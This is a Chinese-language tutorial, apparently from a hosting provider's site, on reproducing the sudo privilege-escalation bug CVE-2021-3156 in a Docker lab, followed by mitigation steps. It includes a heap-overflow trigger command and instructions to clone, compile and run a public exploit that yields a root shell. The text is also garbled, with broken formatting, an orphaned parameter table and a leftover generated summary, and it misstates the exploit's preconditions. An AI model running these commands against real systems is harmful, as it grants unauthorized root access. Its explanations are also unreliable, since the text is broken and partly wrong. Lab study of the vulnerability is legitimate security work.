# 怎么進行本地提權漏洞CVE-2021-3156復現
## 一、漏洞概述
CVE-2021-3156是2021年1月曝出的sudo程序堆緩沖區溢出漏洞,由Qualys安全團隊發現并命名為"Baron Samedit"。該漏洞影響范圍廣泛:
- **影響版本**:sudo 1.8.2 - 1.8.31p2及1.9.0 - 1.9.5p1
- **漏洞類型**:基于堆的緩沖區溢出
- **危險等級**:高危(CVSS 7.8)
- **利用條件**:普通用戶權限+sudoers文件配置特定參數
## 二、環境準備
### 1. 漏洞環境搭建
推薦使用以下方式快速搭建測試環境:
```bash
# 使用Ubuntu 20.04 LTS
docker pull ubuntu:20.04
docker run -it --name=cve-2021-3156 ubuntu:20.04
# 安裝存在漏洞的sudo版本
apt update && apt install -y sudo=1.8.31-1ubuntu1.2
執行以下命令驗證漏洞:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
若返回malloc(): corrupted top size
或段錯誤,則存在漏洞。
推薦使用以下PoC(需gcc編譯環境):
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
編譯后生成exploit
可執行文件:
./exploit
成功執行后將獲得root權限的shell:
# whoami
root
參數 | 作用 |
---|---|
-s | 指定目標shell路徑 |
-w | 指定工作目錄 |
-m | 指定權限掩碼 |
sudoedit -s
時,sudo嘗試轉義命令行參數set_cmnd()
函數中錯誤處理反斜杠字符+---------------------+
| original chunk |
+---------------------+
| overflow data | ---> 覆蓋相鄰chunk頭部
+---------------------+
| target chunk |
+---------------------+
升級到以下版本: - sudo >= 1.9.5p2 - 各發行版已發布安全更新:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade sudo
# CentOS/RHEL
sudo yum update sudo
如無法立即升級,可通過以下方式緩解:
# 移除sudoedit的SUID位
chmod 0755 /usr/bin/sudoedit
注意:本文僅用于安全研究學習,未經授權不得用于實際滲透測試。根據《網絡安全法》相關規定,任何未經授權的漏洞利用行為均屬違法。 “`
該文檔包含: 1. 完整的漏洞復現流程 2. 技術原理說明 3. 可視化表格和代碼塊 4. 防御方案和注意事項 5. 擴展學習資源 6. 法律風險提示
可根據實際測試環境調整PoC來源和具體參數,建議在隔離的虛擬機環境中進行測試。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。